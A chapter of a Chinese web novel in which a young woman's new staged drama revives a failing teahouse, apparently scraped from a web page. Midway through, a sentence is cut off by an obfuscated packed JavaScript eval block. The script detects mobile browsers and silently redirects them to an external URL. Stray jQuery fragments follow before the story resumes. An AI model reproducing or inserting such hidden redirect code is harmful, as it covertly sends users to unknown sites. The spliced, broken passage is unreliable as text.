10.小试牛刀

作品:《夫人,你的马甲掉了

    “我们!要!发财啦!”


    杜罗衣扑过来的冲力不可谓不大,白芷扶着她往后退了几步才堪堪停住。


    抬头看清杜罗衣青黑的眼,白芷要疯了,“小姐,你不会一夜没睡吧?”


    “bingo!”


    “什么狗?”


    杜罗衣是真兴奋,没管白芷听没听懂,就把她推到罗汉床上坐着,拿着手里的几张纸就往白芷怀里塞,“你看看。”


    塞完以后就自己蹦蹦跳跳去梳洗了,嘴里还哼着不成调的曲。


    “小燕子~穿花衣~年年春天来这里~我问燕子你为啥来~燕子说~这里的春天更美丽~丽~咳咳”。


    女孩最后还想来个变调,不过变调不成反倒被口水呛了一下。


    白芷:......懒得喷


    手上的几张纸被风吹的细细簌簌,白芷深吸了几口气,准备静心凝神去看杜罗衣酝酿了一整晚的成果。


    入目便是杜罗衣那一□□爬字,实在是有碍观瞻,她强撑着才看了下去。这不看不知道,一看不得了。


    杜罗衣洗漱完回来,刚想采访一下白芷的观后感,就看到这位小同志已经哭成了泪人,鼻涕眼泪糊了满脸。


    杜罗衣:欧耶,看来内测成功了,可以面向市场投放!


    白芷哭的上气不接下气,还不忘扯着杜罗衣要看结局,“小姐呜呜呜,好惨啊,莫姑娘最后如何了?同林公子在一块儿了吗?”


    杜罗衣拿手绢给她擦干净脸,“过几天你就知道了,小白芷。现在先陪你家小姐去个地方吧。”


    “嗝,”哭的太厉害了,白芷忍不住打了个嗝,羞怯一笑,“去哪儿啊?”


    “浅舒斋!”


    半月后。


    正值隅中,本该是永安市集客流量最多之时,各摊各铺的门前客却莫名比平日减了许多,更有甚者,直接闭门谢客。


    不明真相的人便到处打听,只听来没头没尾的一句:都被那浅舒斋吸去咯!那没耐心没功夫的听着这一句便调头而去了,可永安城多的是好事之徒,一听便一路寻摸去了事发地。


    浅舒斋谁人不知,几年前靠着几个说书先生在永安混的如日中天,后来不是也败落了吗。今日这是搞什么苗头?


    吃了早饭没上工出来闲逛的男人女人,上街添置头面脂粉的大娘子小姑娘......男女老少此刻都围在一处。


    陈士林站在店门口的台阶上,有股热泪盈眶的冲动:人!好多人!他已经很多年,没在自己店看过这么多活生生的人了。


    他清了清嗓,对着下面一众翘首以盼的民众开口,“诸位贵客,街坊邻居们,各位安好!此刻我陈某人万分荣幸地站在这里,此刻我的心情可谓是百感交集。几年前,我陈某人也曾算是风光无限,可惜,老天无眼,一场大雨毁了我的茶馆梦。”说着说着,他扯着袖子擦了一下眼角,这才继续,“可是,我陈某人不言败,经过两年的沉淀,我携着新搜罗的宝物再度出山,只盼能向各位证明,我陈某人不是孬种!诸位请往上看。”


    “看”字一下,覆盖在牌匾上的红布应声而落。原先的“浅舒斋”三个字不见踪影,取而代之的是镶着金边的“聚宝盆”。


    陈士林轻咳一声,勾回底下不明所以民众的注意,“诸位可知,‘聚宝盆’三字作何解?”


    穿着短褂的汉子闻言,毫不犹豫,“这有何难?你掉进钱眼里了呗!”


    汉子这话说的难听却有理,旁边看热闹的人叫好的声音一浪高过一浪。


    陈士林也不急,等人群静的差不多了,这才开口,“郎君此言过于肤浅,我陈某虽是一介商贾,可也要做为人民谋福利的商贾。浅舒斋缘何更名为‘聚宝盆’,是因为我陈某人要告诉大家,从今日起,本店出品,均为精品,童叟无欺!”


    “说了这么多,你到底要卖啥啊?不会还是说那老掉牙的书吧?”人群中有浅舒斋的老主顾,“可别才换了招牌没多久,便又被砸了!”


    “那陈某人也就不卖关子了,诸位请进。”


    大门敞开,人潮涌进了店。只见店内布置焕然一新,原先喝茶的桌椅全都不见踪影。偌大的店面只剩一个临时搭的台子,此刻被帘子围着,台下的横平竖直摆放着普通的小椅,中间还留了一条道。


    陈士林拍了拍掌,便见几个身影从帘子后面陆续走出,有男有女,有高有低,还有老有幼,只是看着面生,也不像城里叫得上名号的角儿。


    “聚宝斋自今日起,不卖茶,亦不说书,本店只卖故事,且是永安城独一份的故事。诸位若是暂时不晓得陆某的意思也无妨,烦请诸位先看下去。”


    待众人坐定,陆士林朝在台上候着的演员点了下头,帘子又拉上了。


    有女人的声音自幕后传来,“故事发生在一个小城里,”这声音悠长,自带着一股风情和摇曳,硬生生把人拽进了故事里,“这里生活着林、莫两家。林家家大业大,统管着整个城市的造纸业,上至达官贵人的真皮纸,下到平民百姓的草纸,林家皆有所涉猎。莫家呢,虽然比林家差些,可也算是书香世家。莫老爷是城里有名的先生,不计其数的进士举人皆出自他的门下。林莫两家祖祖辈辈都有往来,关系更是在他们这一代达到了巅峰。林家有一公子名唤守言,莫家有一女儿静女,两家长辈一拍即合,给两小儿定了娃娃亲。光阴一日日过去,林公子和莫姑娘也在一日日的相处中对彼此有了情愫。可天有不测风云,一向身子骨就弱的莫夫人在一日油尽灯枯了,本应美满的故事自此迎来了转折......”


    随着女子声音的停顿,沉寂已久的帘子再次拉开,这一次,台上出现了一张病床。


    有一女子面色清灰地躺在榻上,旁边年幼的女孩趴在她身上泣不成声,“阿娘,阿娘,你别走!静儿以后会乖乖的,静儿求您别走。”


    女孩的哭腔极具感染力,台下有心软的妇人已经红了眼。


    任女孩如何哭泣,莫夫人终归是撒手人寰。旁边一面容俊秀的少年看着莫姑娘哭红的眼睛,便将她揽进了怀里,定声承诺,“静儿莫哭,我会好好照顾你。”这便是林公子了。


    “时间一天天过去,”旁白声适时响起,帘子再次合上“林公子和莫姑娘日盼夜盼,总算等到了彼此长大。可他们没迎来两家长辈商议婚期,反倒是迎来了莫老爷的好消息。”


    帘子再次被揭开,这回观众有经验了,知道帘子闭上就是要准备家伙什,帘子开就是准备好了。扮演莫老爷的演员扶着一位打扮艳丽的女人从中间的道上了台,女人口脂色泽红润,走路的姿势也是弱柳扶风。


    看到女子这做派,有人忒了声,“不要脸,自己夫人才死了多久,便上赶着再娶!”也有人反对,“男欢女爱,两厢情愿,有何不可?”也有人沉浸在戏中,喝止了一声让众人保持安静。


    台上的戏还在继续。长大的静女出落得更加清丽,她心疼父亲这些年独守空房,对继母非但不排斥反而展露了善意。继母刚到莫家时,常帮静女打扮,教静女弹琴,静女这些年缺失的关怀似是随着继母的到来都被补足了。


    可好日子没过多久,家里又来了不速之客,是继母的女儿,原本是跟着她的生父的。可那男人整日酗酒,动辄打骂,前阵子喝酒后伤了人,被官府收押了,这孩子无处可去,只得来投靠生母。


    静女这些时日和继母相处的很好,对异父异母妹妹的到来自然没甚意见,晚间就寝时,妹妹感叹静女的衣裳和首饰可真多,她从未见过这么多好看的衣裳。静女心善,看不得别人受苦,便安抚她的新妹妹说,以后她的衣物和首饰,妹妹都可以穿。


    很巧,妹妹也姓莫,名唤季。莫季自幼便跟在父亲身旁,没过过几天好日子。她羡慕身旁肤色白皙,笑容温暖的静女,甚至是嫉妒,凭什么拥有这些的是她静女,而不是她莫姬。她暗暗发誓,静女有的,她也一定要得到。


    这天,相熟的几位少女结伴去踏青,下山时突然下起了雨。众人在凉亭下一筹莫展之际,却见前方青阶石上,立着个颀长的少年身影,伞遮住了他的脸,却丝毫不减他周身的气质,反倒是增添了几分神秘。见有人来,少年将伞微微抬起,对着某一处展颜一笑,惊为天人。


    莫季旁边的女孩推搡了她一下,“莫不是在看你?”莫季面上口口声声“怎么可能?”实则心中暗藏希冀。却见那少年直直地往一个地方奔去,众人视线被他牵过去,只见那如暖阳般和煦的少年朗,旁若无人地牵起了莫静女的手,二人相视一笑,宛若一对璧人。


    旁边的女郎皆艳羡地望着她们,有几个看得痴了还张大了嘴巴,就差淌出点哈喇子了。林莫两人走了一段路,静女想起来些什么,温柔地喊莫季,问她要不要一同走。莫季指甲都深陷进了手心里,她受不了静女这惺惺作态的样子。旁边的女郎站不住了,纷纷追问莫季认不认得那个少年郎,问林莫二人是什么关系,莫季通通不想理,高声呼喊说她待会请女郎们吃点心,声音不大不小,刚好够莫静女听到即可,说完便带着余下的女郎朝着反方向跑进了雨中,连个余光


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15066688|163006||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也没给那般配得刺眼的两人。


    静女不解,为何莫季会做出这番模样。但她没多想,只因林守言还在等着他,二人共撑一把伞下了山。远处,已经全身淋湿的莫季回头,只能看见两人的背影,心底的嫉恨更甚。林莫两人下了山后并未直接归家,而是纵马往郊外去,他们常常赛马。


    兴许是下了雨路面打滑,两人一时控不住从马上跌了下来,幸而周围都是软草。二人身体没什么大碍,只是全身都沾上了草粒,狼狈不堪。二人原本摔得还有些疼,可看着对方的样子,不禁放声大笑。笑着笑着,两人不觉便凑近了,气息都有些紊乱。


    少男少女缠绵的氛围氤氲了整个聚宝斋,观众席上不少年轻女子看得脸颊通红。


    在唇瓣贴合的前一秒,林守言退开了,转而珍重地吻了莫静女的额头,像是捧着易碎的珍宝。“等我娶你”,少年郎的声音发颤,却格外清晰。可静女没能等来这一天,她的守言哥哥就要上京赶考了,这一分隔就要几年。林守言要出发的前一晚,静女彻夜未眠,她要缝制荷包,让林守言带着她的牵挂和心意去赴考。可当天早上,当她想打开房门出去时,发现房间早已被莫季从外面锁了,任她如何拍打如何哀求也无济于事。


    渡口上,林守言望着来送行的人,这些人里,唯独没有静女。等了许久,船要开了,也不见静女的影子,林守言无法再拖,只得上船。在他踏上梯子的前一刻,似是感应到了什么,回头一看,他心心念念的那个女子,带着满头满脸的伤,站在他的面前。


    他匆匆回到岸上,刚想说些什么,面前的静女捏住了他的嘴巴,这是她幼时常常做的动作。静女眼中闪着泪光,将连夜赶制的荷包挂在林守言的腰带上,对他说了一句“我等你”。


    “等我娶你。”“我等你。”在别人看来没头没尾的一句话,可林守言霎时就明白了她的意思,平日里冷冷清清的一个人哐当就落了泪,把自己腰间挂的玉佩扯了下来,塞到静女手中,一把将她扯进了怀里。


    船远远地走了,静女的世界也模糊了。


    台上的演员鞠躬鞠了几趟,台下的人一点反应也没。他们揣揣不安地望向陈士林,却见陈士林手帕袖子都哭湿了。人群中终于有人醒了神,站起来劈里啪啦地鼓掌,越来越多的人站了起来,掌声几乎掀翻了整个聚宝斋。


    陈士林好容易把鼻涕醒完,总算还记得自己是一店之主,在掌声平息下去以后上了台。戏看完了,便有人疑惑了,剩余的故事何时开演,这看戏的价钱又该如何算。


    “诸位,今日蒙诸位莅临,小店才有了人气。故而我宣布,今日这场戏,不收钱!”


    “哈”,人群中吸冷气的声音络绎不绝,陈士林又强调了一遍,“诸位没有听错,就是不收钱,一文钱也不收。不过从明天开始小店便正常收费了,一场戏收各位十文钱。”


    十文钱,这个价说高也不高,可相比旁的听书是贵了些许。不过旁的听书只是听书,可没这又有旁白还有演员直接演精彩,这不,慧眼识珠的一听这句话便嚷嚷了,“我平生活了三十多年都未曾看过这么精彩的故事,十文钱,值!”


    也有人惊呼,“明日便有下半场了吗?”


    陈士林摆手,“自然不是,我们执笔的先生还在奋笔疾书。等先生写完,我们的演员还得排练,最快也要再过个七天了。不过从明日开始,每日皆有一场上半场的演出,诸位要是没看够或是要带着亲朋好友来尝尝新鲜的,本店都欢迎之至。”


    “啊?七天啊,这也太久了些。”人群里有迫不及待想知道结局的怨声载道。


    陈士林总算听到了自己要的话,他提起嘴角,“诸位要是嫌等得久的话,陈某这里还有一个门道。待先生下半卷写完后,我便日夜不停让人抄书,成书总归会比下半场的戏出来的快些,不出三日便能送到各位手中,不过这价钱自然也是高些。一卷书,不议价800文,附赠执笔先生签名。注意!全永安城仅有50个名额!”


    这年头雕版印刷连个影子都没见,要传播书籍,只能靠最原始的方法——手抄,书的价格自然不便宜。


    可800文这个价格还是让在场一些人膛目结舌,要知道大户人家的一等丫鬟一个月的月奉也才不过二两,手头紧的人只能垂头丧气出去,老老实实等着七日后再一解戏瘾。


    可天子脚下的永安城,从不缺有钱的人。陈士林报出的价格是虚高,可吓不住他们。不过才半晌,50个预定名额就一抢而空,白花花的定金铺满了陈士林的柜子。